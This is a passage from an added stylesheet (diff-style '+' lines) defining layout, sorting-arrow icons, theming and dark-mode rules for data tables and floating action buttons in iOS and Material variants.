url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); + background-size: 100% auto; + background-position: center; + background-repeat: no-repeat; + font-size: 0; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: rotate(0); + transform: rotate(0); + opacity: 0; +} +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:after, +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:after, +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:before, +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:before { + opacity: 0.54; +} +.data-table .sortable-cell.sortable-cell-active:after, +.data-table .sortable-cell.sortable-cell-active .table-head-label:after, +.data-table .sortable-cell.sortable-cell-active:before, +.data-table .sortable-cell.sortable-cell-active .table-head-label:before { + opacity: 0.87 !important; +} +.data-table .sortable-cell.sortable-desc:after, +.data-table .sortable-cell.sortable-desc:after, +.data-table .table-head-label:after, +.data-table .sortable-cell.sortable-desc:before, +.data-table .sortable-cell.sortable-desc:before, +.data-table .table-head-label:before { + -webkit-transform: rotate(180deg) !important; + transform: rotate(180deg) !important; +} +.data-table.card .card-header, +.card .data-table .card-header { + height: 64px; +} +.data-table.card .card-content, +.card .data-table .card-content { + overflow-x: auto; +} +.data-table .data-table-links, +.data-table .data-table-actions { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.data-table .data-table-actions { + margin-right: auto; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.data-table .data-table-actions a.link { + min-width: 0; +} +.data-table .data-table-actions a.link.icon-only { + line-height: 1; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0; +} +.data-table .data-table-header, +.data-table .data-table-header-selected { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + width: 100%; +} +.data-table .data-table-header-selected { + display: none; +} +.data-table.data-table-has-checked .data-table-header { + display: none; +} +.data-table.data-table-has-checked .data-table-header-selected { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.data-table .data-table-title-selected { + font-size: 14px; +} +.data-table .data-table-footer { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + font-size: 12px; + overflow: hidden; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.data-table .data-table-rows-select, +.data-table .data-table-pagination { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +@media (max-width: 480px) and (orientation: portrait) { + .data-table.data-table-collapsible thead { + display: none; + } + .data-table.data-table-collapsible tbody, + .data-table.data-table-collapsible tr, + .data-table.data-table-collapsible td { + display: block; + } + .data-table.data-table-collapsible tr { + position: relative; + } + .data-table.data-table-collapsible tr:hover { + background-color: inherit; + } + .data-table.data-table-collapsible td { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + text-align: right; + } + .data-table.data-table-collapsible td:before { + display: none !important; + } + .data-table.data-table-collapsible td:not(.checkbox-cell):before { + width: 40%; + display: block !important; + content: attr(data-collapsible-title); + position: relative; + height: auto; + background: none !important; + -webkit-transform: none !important; + transform: none !important; + font-size: 12px; + margin-left: 16px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + } + .data-table.data-table-collapsible td.checkbox-cell { + position: absolute; + top: 0; + right: 0; + } + .data-table.data-table-collapsible td.checkbox-cell + td { + padding-right: 16px; + } + .data-table.data-table-collapsible td.checkbox-cell ~ td { + margin-right: 32px; + } +} +.data-table .tablet-only, +.data-table .tablet-landscape-only { + display: none; +} +@media (min-width: 768px) { + .data-table .tablet-only { + display: table-cell; + } +} +@media (min-width: 768px) and (orientation: landscape) { + .data-table .tablet-landscape-only { + display: table-cell; + } +} +.theme-dark .data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after, +.theme-dark .data-table .sortable-cell.numeric-cell:not(.input-cell):before, +.theme-dark .data-table .sortable-cell:not(.numeric-cell).input-cell > .table-head-label:after, +.theme-dark .data-table .sortable-cell.numeric-cell.input-cell > .table-head-label:before { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23fff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .data-table thead th, +.ios .data-table thead td { + font-weight: 600; +} +.ios .data-table thead th:not(.sortable-cell-active), +.ios .data-table thead td:not(.sortable-cell-active) { + color: #8e8e93; +} +.ios .data-table thead i.icon, +.ios .data-table thead i.f7-icons { + font-size: 18px; + width: 18px; + height: 18px; +} +.ios .data-table tbody tr.data-table-row-selected { + background: #f7f7f8; +} +.ios .data-table th, +.ios .data-table td { + padding-left: 15px; + padding-right: 15px; + height: 44px; +} +.ios .data-table th.checkbox-cell, +.ios .data-table td.checkbox-cell { + width: 22px; + padding-left: 7px; +} +.ios .data-table th.checkbox-cell + td, +.ios .data-table td.checkbox-cell + td, +.ios .data-table th.checkbox-cell + th, +.ios .data-table td.checkbox-cell + th { + padding-right: 8px; +} +.ios .data-table th.actions-cell a.link + a.link, +.ios .data-table td.actions-cell a.link + a.link { + margin-right: 15px; +} +.ios .data-table th.actions-cell a.icon-only, +.ios .data-table td.actions-cell a.icon-only { + width: 18px; + height: 18px; + line-height: 18px; +} +.ios .sortable-cell:not(.numeric-cell):after { + margin-right: 5px; +} +.ios .sortable-cell.numeric-cell:before { + margin-left: 5px; +} +.ios .data-table.card .card-header, +.ios .card .data-table .card-header, +.ios .data-table.card .card-footer, +.ios .card .data-table .card-footer { + padding-right: 15px; + padding-left: 8px; +} +.ios .data-table-title { + font-size: 17px; + font-weight: 600; +} +.ios .data-table-links a.link + a.link, +.ios .data-table-actions a.link + a.link { + margin-right: 15px; +} +.ios .data-table-actions a.link.icon-only { + width: 44px; + height: 44px; +} +.ios .data-table-actions i.icon, +.ios .data-table-actions i.f7-icons { + font-size: 22px; +} +.ios .data-table .card-header > .data-table-header, +.ios .data-table .card-header > .data-table-header-selected { + padding-top: 10px; + padding-bottom: 10px; + height: 100%; + padding-right: 15px; + padding-left: 8px; + margin-right: -15px; + margin-left: -8px; +} +.ios .data-table-header-selected { + background: rgba(0, 122, 255, 0.1); +} +.ios .data-table-title-selected { + color: #007aff; +} +.ios .data-table tbody td:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .data-table tbody td:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .data-table tbody td:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios.device-desktop .data-table tbody tr:hover { + background: #f7f7f8; +} +.ios .data-table-footer { + height: 44px; + color: #8e8e93; +} +.ios .data-table-rows-select a.link, +.ios .data-table-pagination a.link { + width: 44px; + height: 44px; +} +.ios .data-table-rows-select + .data-table-pagination { + margin-right: 30px; +} +.ios .data-table-rows-select .input { + margin-right: 20px; +} +.ios .data-table-pagination-label { + margin-left: 15px; +} +.ios .data-table-footer:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .data-table-footer:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .data-table-footer:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .input-cell { + padding-top: 8px; + padding-bottom: 8px; + height: auto; + vertical-align: top; +} +.ios .input-cell .table-head-label + .input { + margin-top: 4px; +} +.ios .input-cell .input { + height: 24px; +} +.ios .input-cell .input input, +.ios .input-cell .input textarea, +.ios .input-cell .input select { + height: 24px; + color: #000; + font-size: 14px; +} +@media (max-width: 480px) and (orientation: portrait) { + .ios .data-table.data-table-collapsible td:not(.checkbox-cell):before { + color: #8e8e93; + font-weight: 600; + } + .ios .data-table-collapsible tr:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; + } + .ios.device-pixel-ratio-2 .data-table-collapsible tr:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); + } + .ios.device-pixel-ratio-3 .data-table-collapsible tr:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); + } +} +.ios .theme-dark .data-table tbody td:before, +.data-table.ios .theme-dark tbody td:before { + background-color: #282829; +} +.ios .theme-dark .data-table.data-table-collapsible tr:before, +.data-table.ios .theme-dark.data-table-collapsible tr:before { + background-color: #282829; +} +.ios .theme-dark .data-table tbody tr.data-table-row-selected, +.data-table.ios .theme-dark tbody tr.data-table-row-selected { + background-color: #363636; +} +.ios.device-desktop .theme-dark .data-table tbody tr:hover, +.ios.device-desktop .theme-dark.data-table tbody tr:hover { + background: #363636; +} +.ios .color-theme-red .data-table-header-selected, +.ios .data-table-header-selected.color-red { + background: rgba(255, 59, 48, 0.1); +} +.ios .color-theme-red .data-table-title-selected, +.ios .color-red .data-table-title-selected { + color: #ff3b30; +} +.ios .color-theme-green .data-table-header-selected, +.ios .data-table-header-selected.color-green { + background: rgba(76, 217, 100, 0.1); +} +.ios .color-theme-green .data-table-title-selected, +.ios .color-green .data-table-title-selected { + color: #4cd964; +} +.ios .color-theme-blue .data-table-header-selected, +.ios .data-table-header-selected.color-blue { + background: rgba(0, 122, 255, 0.1); +} +.ios .color-theme-blue .data-table-title-selected, +.ios .color-blue .data-table-title-selected { + color: #007aff; +} +.ios .color-theme-pink .data-table-header-selected, +.ios .data-table-header-selected.color-pink { + background: rgba(255, 45, 85, 0.1); +} +.ios .color-theme-pink .data-table-title-selected, +.ios .color-pink .data-table-title-selected { + color: #ff2d55; +} +.ios .color-theme-yellow .data-table-header-selected, +.ios .data-table-header-selected.color-yellow { + background: rgba(255, 204, 0, 0.1); +} +.ios .color-theme-yellow .data-table-title-selected, +.ios .color-yellow .data-table-title-selected { + color: #ffcc00; +} +.ios .color-theme-orange .data-table-header-selected, +.ios .data-table-header-selected.color-orange { + background: rgba(255, 149, 0, 0.1); +} +.ios .color-theme-orange .data-table-title-selected, +.ios .color-orange .data-table-title-selected { + color: #ff9500; +} +.ios .color-theme-gray .data-table-header-selected, +.ios .data-table-header-selected.color-gray { + background: rgba(142, 142, 147, 0.1); +} +.ios .color-theme-gray .data-table-title-selected, +.ios .color-gray .data-table-title-selected { + color: #8e8e93; +} +.ios .color-theme-white .data-table-header-selected, +.ios .data-table-header-selected.color-white { + background: rgba(255, 255, 255, 0.1); +} +.ios .color-theme-white .data-table-title-selected, +.ios .color-white .data-table-title-selected { + color: #ffffff; +} +.ios .color-theme-black .data-table-header-selected, +.ios .data-table-header-selected.color-black { + background: rgba(0, 0, 0, 0.1); +} +.ios .color-theme-black .data-table-title-selected, +.ios .color-black .data-table-title-selected { + color: #000000; +} +.md .data-table thead th, +.md .data-table thead td { + font-weight: 500; + height: 56px; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.md .data-table thead th:not(.sortable-cell-active), +.md .data-table thead td:not(.sortable-cell-active) { + color: rgba(0, 0, 0, 0.54); +} +.md .data-table thead i.icon, +.md .data-table thead i.material-icons { + font-size: 16px; + width: 16px; + height: 16px; +} +.md .data-table tbody { + font-size: 13px; +} +.md .data-table tbody tr.data-table-row-selected { + background: #f5f5f5; +} +.md .data-table tbody td { + height: 48px; +} +.md .data-table th, +.md .data-table td { + padding-left: 28px; + padding-right: 28px; +} +.md .data-table th.label-cell, +.md .data-table td.label-cell { + padding-left: 24px; + padding-right: 24px; +} +.md .data-table th:first-child, +.md .data-table td:first-child { + padding-right: 24px; +} +.md .data-table th:last-child, +.md .data-table td:last-child { + padding-left: 24px; +} +.md .data-table th.checkbox-cell, +.md .data-table td.checkbox-cell { + width: 18px; + padding-right: 24px; + padding-left: 12px; +} +.md .data-table th.checkbox-cell + td, +.md .data-table td.checkbox-cell + td, +.md .data-table th.checkbox-cell + th, +.md .data-table td.checkbox-cell + th { + padding-right: 12px; +} +.md .data-table th.actions-cell a.link, +.md .data-table td.actions-cell a.link { + color: rgba(0, 0, 0, 0.54); +} +.md .data-table th.actions-cell a.link + a.link, +.md .data-table td.actions-cell a.link + a.link { + margin-right: 24px; +} +.md .data-table th.actions-cell a.icon-only, +.md .data-table td.actions-cell a.icon-only { + width: 24px; + height: 24px; + line-height: 24px; +} +.md .sortable-cell:not(.numeric-cell):after { + margin-right: 8px; +} +.md .sortable-cell.numeric-cell:before { + margin-left: 8px; +} +.md .data-table.card .card-header, +.md .card .data-table .card-header, +.md .data-table.card .card-footer, +.md .card .data-table .card-footer { + padding-right: 24px; + padding-left: 14px; +} +.md .data-table.card .card-footer, +.md .card .data-table .card-footer { + height: 56px; +} +.md .data-table-title { + font-size: 20px; +} +.md .data-table-links a.link + a.link, +.md .data-table-actions a.link + a.link { + margin-right: 24px; +} +.md .data-table-actions a.link { + color: rgba(0, 0, 0, 0.54); +} +.md .data-table-actions a.link.icon-only { + width: 24px; + height: 24px; + overflow: visible; +} +.md .data-table-actions a.link.icon-only.active-state { + background: none; +} +.md .data-table .card-header > .data-table-header, +.md .data-table .card-header > .data-table-header-selected { + padding-right: 24px; + padding-left: 14px; + margin-right: -24px; + margin-left: -14px; + padding-top: 4px; + padding-bottom: 4px; + height: 100%; +} +.md .data-table-header-selected { + background: rgba(33, 150, 243, 0.1); +} +.md .data-table-title-selected { + color: #2196f3; +} +.md .data-table tbody td:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .data-table tbody td:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .data-table tbody td:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md.device-desktop .data-table tbody tr:hover { + background: #f5f5f5; +} +.md .data-table-footer { + height: 56px; + color: rgba(0, 0, 0, 0.54); +} +.md .data-table-rows-select a.link, +.md .data-table-pagination a.link { + width: 48px; + height: 48px; +} +.md .data-table-rows-select a.link:before, +.md .data-table-pagination a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .data-table-rows-select a.link.active-state:before, +.md .data-table-pagination a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .data-table-rows-select + .data-table-pagination { + margin-right: 32px; +} +.md .data-table-rows-select .input { + margin-right: 24px; +} +.md .data-table-pagination-label { + margin-left: 20px; +} +.md .data-table-footer:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .data-table-footer:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .data-table-footer:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .input-cell { + padding-top: 8px; + padding-bottom: 8px; + height: auto; + vertical-align: top; +} +.md .input-cell .table-head-label + .input { + margin-top: 4px; +} +.md .input-cell .input { + height: 24px; +} +.md .input-cell .input input, +.md .input-cell .input textarea, +.md .input-cell .input select { + height: 24px; + color: #212121; + font-size: 14px; +} +.md .input-cell .input .input-clear-button { + -webkit-transform: scale(0.8); + transform: scale(0.8); +} +@media (max-width: 480px) and (orientation: portrait) { + .md .data-table.data-table-collapsible td { + padding-left: 16px; + padding-right: 16px; + } + .md .data-table.data-table-collapsible td:not(.checkbox-cell):before { + color: rgba(0, 0, 0, 0.54); + font-weight: 500; + line-height: 16px; + } + .md .data-table-collapsible tr:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; + } + .md.device-pixel-ratio-2 .data-table-collapsible tr:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); + } + .md.device-pixel-ratio-3 .data-table-collapsible tr:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); + } +} +.md .theme-dark .data-table thead th:not(.sortable-cell-active), +.data-table.md .theme-dark thead th:not(.sortable-cell-active), +.md .theme-dark .data-table thead td:not(.sortable-cell-active), +.data-table.md .theme-dark thead td:not(.sortable-cell-active), +.md .theme-dark .data-table .data-table-actions a.link, +.data-table.md .theme-dark .data-table-actions a.link, +.md .theme-dark .data-table td.actions-cell a.link, +.data-table.md .theme-dark td.actions-cell a.link, +.md .theme-dark .data-table th.actions-cell a.link, +.data-table.md .theme-dark th.actions-cell a.link { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .data-table .data-table-links a.link:before, +.data-table.md .theme-dark .data-table-links a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .theme-dark .data-table .data-table-links a.link.active-state:before, +.data-table.md .theme-dark .data-table-links a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .theme-dark .data-table tbody td:before, +.data-table.md .theme-dark tbody td:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .data-table.data-table-collapsible tr:before, +.data-table.md .theme-dark.data-table-collapsible tr:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .data-table tbody tr.data-table-row-selected, +.data-table.md .theme-dark tbody tr.data-table-row-selected { + background-color: rgba(255, 255, 255, 0.05); +} +.md.device-desktop .theme-dark .data-table tbody tr:hover, +.md.device-desktop .theme-dark.data-table tbody tr:hover { + background-color: rgba(255, 255, 255, 0.05); +} +.md .color-theme-red .data-table-header-selected, +.md .data-table-header-selected.color-red { + background: rgba(244, 67, 54, 0.1); +} +.md .color-theme-red .data-table-title-selected, +.md .color-red .data-table-title-selected { + color: #f44336; +} +.md .color-theme-green .data-table-header-selected, +.md .data-table-header-selected.color-green { + background: rgba(76, 175, 80, 0.1); +} +.md .color-theme-green .data-table-title-selected, +.md .color-green .data-table-title-selected { + color: #4caf50; +} +.md .color-theme-blue .data-table-header-selected, +.md .data-table-header-selected.color-blue { + background: rgba(33, 150, 243, 0.1); +} +.md .color-theme-blue .data-table-title-selected, +.md .color-blue .data-table-title-selected { + color: #2196f3; +} +.md .color-theme-pink .data-table-header-selected, +.md .data-table-header-selected.color-pink { + background: rgba(233, 30, 99, 0.1); +} +.md .color-theme-pink .data-table-title-selected, +.md .color-pink .data-table-title-selected { + color: #e91e63; +} +.md .color-theme-yellow .data-table-header-selected, +.md .data-table-header-selected.color-yellow { + background: rgba(255, 235, 59, 0.1); +} +.md .color-theme-yellow .data-table-title-selected, +.md .color-yellow .data-table-title-selected { + color: #ffeb3b; +} +.md .color-theme-orange .data-table-header-selected, +.md .data-table-header-selected.color-orange { + background: rgba(255, 152, 0, 0.1); +} +.md .color-theme-orange .data-table-title-selected, +.md .color-orange .data-table-title-selected { + color: #ff9800; +} +.md .color-theme-gray .data-table-header-selected, +.md .data-table-header-selected.color-gray { + background: rgba(158, 158, 158, 0.1); +} +.md .color-theme-gray .data-table-title-selected, +.md .color-gray .data-table-title-selected { + color: #9e9e9e; +} +.md .color-theme-white .data-table-header-selected, +.md .data-table-header-selected.color-white { + background: rgba(255, 255, 255, 0.1); +} +.md .color-theme-white .data-table-title-selected, +.md .color-white .data-table-title-selected { + color: #ffffff; +} +.md .color-theme-black .data-table-header-selected, +.md .data-table-header-selected.color-black { + background: rgba(0, 0, 0, 0.1); +} +.md .color-theme-black .data-table-title-selected, +.md .color-black .data-table-title-selected { + color: #000000; +} +/* === FAB === */ +.fab { + position: absolute; + z-index: 1500; +} +.fab > a, +.fab-buttons a { + position: relative; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + overflow: hidden; + z-index: 1; +} +.fab > a i { + position: absolute; + left: 50%; + top: 50%; + -webkit-transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + -webkit-transition: 300ms; + transition: 300ms; +} +.fab > a i + i { + -webkit-transform: translate3d(-50%, -50%, 0) rotate(-90deg) scale(0.5); + transform: translate3d(-50%, -50%, 0) rotate(-90deg) scale(0.5); + opacity: 0; +} +.fab[class*="fab-center"] { + left: 50%; + -webkit-transform: translateX(-50%); + transform: translateX(-50%); +} +.fab[class*="left-center"], +.fab[class*="right-center"] { + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); +} +.fab[class*="center-center"] { + top: 50%; + left: 50%; + -webkit-transform: translateX(-50%) translateY(-50%); + transform: translateX(-50%) translateY(-50%); +} +.fab div.fab-buttons a { + width: 40px; + height: 40px; +} +.fab-buttons { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + visibility: hidden; + pointer-events: none; + position: absolute; +} +.fab-buttons a { + opacity: 0; +} +.fab-opened:not(.fab-morph) > a i { + -webkit-transform: translate3d(-50%, -50%, 0) rotate(90deg) scale(0.5); + transform: translate3d(-50%, -50%, 0) rotate(90deg) scale(0.5); + opacity: 0; +} +.fab-opened:not(.fab-morph) > a i + i { + -webkit-transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + opacity: 1; +} +.fab-opened .fab-buttons { + visibility: visible; + pointer-events: auto; +} +.fab-opened .fab-buttons a { + opacity: 1; + -webkit-transform: translate3d(0, 0px, 0) scale(1) !important; + transform: translate3d(0, 0px, 0) scale(1) !important; +} +.fab-opened .fab-buttons a:nth-child(2) { + -webkit-transition-delay: 50ms; + transition-delay: 50ms; +} +.fab-opened .fab-buttons a:nth-child(3) { + -webkit-transition-delay: 100ms; + transition-delay: 100ms; +} +.fab-opened .fab-buttons a:nth-child(4) { + -webkit-transition-delay: 150ms; + transition-delay: 150ms; +} +.fab-opened .fab-buttons a:nth-child(5) { + -webkit-transition-delay: 200ms; + transition-delay: 200ms; +} +.fab-opened .fab-buttons a:nth-child(6) { + -webkit-transition-delay: 250ms; + transition-delay: 250ms; +} +.fab-buttons-top, +.fab-buttons-bottom { + left: 50%; + width: 40px; + margin-left: -20px; +} +.fab-buttons-top { + bottom: 100%; + margin-bottom: 16px; + -webkit-box-orient: vertical; + -webkit-box-direction: reverse; + -webkit-flex-direction: column-reverse; + -ms-flex-direction: column-reverse; + flex-direction: column-reverse; +} +.fab-buttons-top a { + -webkit-transform: translate3d(0, 8px, 0) scale(0.3); + transform: translate3d(0, 8px, 0) scale(0.3); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.fab-buttons-top a + a { + margin-bottom: 16px; +} +.fab-buttons-bottom { + top: 100%; + margin-top: 16px; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.fab-buttons-bottom a { + -webkit-transform: translate3d(0, -8px, 0) scale(0.3); + transform: translate3d(0, -8px, 0) scale(0.3); + -webkit-transform-origin: center top; + transform-origin: center top; +} +.fab-buttons-bottom a + a { + margin-top: 16px; +} +.fab-buttons-left, +.fab-buttons-right { + top: 50%; + height: 40px; + margin-top: -20px; +} +.fab-buttons-left { + right: 100%; + margin-right: 16px; +} +.fab-buttons-left a { + -webkit-transform: translate3d(8px, 0px, 0) scale(0.3); + transform: translate3d(8px, 0px, 0) scale(0.3); + -webkit-transform-origin: right center; + transform-origin: right center; +} +.fab-buttons-left a + a { + margin-right: 16px; +} +.fab-buttons-right { + left: 100%; + margin-left: 16px; + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; +} +.fab-buttons-right a { + -webkit-transform: translate3d(-8px, 0, 0) scale(0.3); + transform: translate3d(-8px, 0, 0) scale(0.3); + -webkit-transform-origin: left center; + transform-origin: left center; +} +.fab-buttons-right a + a { + margin-left: 16px; +} +.fab-buttons-center { + left: 0%; + top: 0%; + width: 100%; + height: 100%; +} +.fab-buttons-center a { + position: absolute; +} +.fab-buttons-center a:nth-child(1) { + left: 50%; + margin-left: -20px; + bottom: 100%; + margin-bottom: 16px; + -webkit-transform: translateY(-8px) scale(0.3); + transform: translateY(-8px) scale(0.3); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.fab-buttons-center a:nth-child(2) { + left: 100%; + margin-top: -20px; + top: 50%; + margin-left: 16px; + -webkit-transform: translateX(-8px) scale(0.3); + transform: translateX(-8px) scale(0.3); + -webkit-transform-origin: left center; + transform-origin: left center; +} +.fab-buttons-center a:nth-child(3) { + left: 50%; + margin-left: -20px; + top: 100%; + margin-top: 16px; + -webkit-transform: translateY(8px) scale(0.3); + transform: translateY(8px) scale(0.3); + -webkit-transform-origin: center top; + transform-origin: center top; +} +.fab-buttons-center a:nth-child(4) { + right: 100%; + margin-top: -20px; + top: 50%; + margin-right: 16px; + -webkit-transform: translateX(8px) scale(0.3); + transform: translateX(8px) scale(0.3); + -webkit-transform-origin: right center; + transform-origin: right center; +} +.fab-opened.fab-morph > a i { + opacity: 0; +} +.fab-morph, +.fab-morph > a, +.fab-morph-target { + -webkit-transition-duration: 250ms; + transition-duration: 250ms; +} +.fab-morph-target:not(.fab-morph-target-visible) { + display: none; +} +.fab-extended { + width: auto; +} +.fab-extended > a { + width: 100% !important; +} +.fab-text { + padding-left: 20px; + padding-right: 20px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + font-size: 14px; + text-transform: uppercase; +} +.fab-label-button { + overflow: visible !important; +} +.fab-label { + position: absolute; + top: 50%; + padding: 4px 12px; + border-radius: 4px; + background: #fff; + color: #333; + white-space: nowrap; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + pointer-events: none; +} +.fab[class*="fab-right-"] .fab-label { + right: 100%; + margin-right: 8px; +} +.fab[class*="fab-left-"] .fab-label { + left: 100%; + margin-left: 8px; +} +.ios .fab > a, +.ios .fab-buttons a { + background: #007aff; + width: 50px; + height: 50px; + -webkit-box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.4); + box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.4); + border-radius: 25px; + color: #fff; +} +.ios .fab > a.active-state, +.ios .fab-buttons a.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background: #0066d6; +} +.ios .fab > a i.icon, +.ios .fab-buttons a i.icon { + font-size: 21px; +} +.ios .fab[class*="fab-left"] { + left: 